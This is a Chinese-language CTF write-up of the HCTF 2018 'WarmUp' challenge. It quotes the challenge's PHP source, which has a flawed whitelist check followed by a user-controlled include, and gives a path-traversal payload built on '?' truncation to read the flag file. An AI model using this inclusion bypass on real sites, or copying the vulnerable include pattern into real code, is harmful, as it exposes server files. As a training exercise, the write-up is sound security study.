[HCTF 2018]WarmUp1
这道题进去是个滑稽emmm,查看源码找到了要我们去查看source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
emmm得到了这段代码
进入hint.php得到一下
flag not here, and flag in ffffllllaaaagggg
接下来就是万恶的代码审计了
索性并不算太难
我们最终的目的是给file传值
满足class中函数的条件返回true时同时让文件包含 ffffllllaaaagggg这个文件
重要的是这个函数
mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
对字符串进行截断,截到第一个问号为止
因此我们可以构建payload:file=hint.php?/…/…/…/…/…/…/…/…/ffffllllaaaagggg
为什么这样构建呢,我们可以利用?截取hint.php,然后利用/使hint.php?成为一个不存在的目录,最后include利用…/…/跳转目录读取flag
太晚了,还有几题明天更吧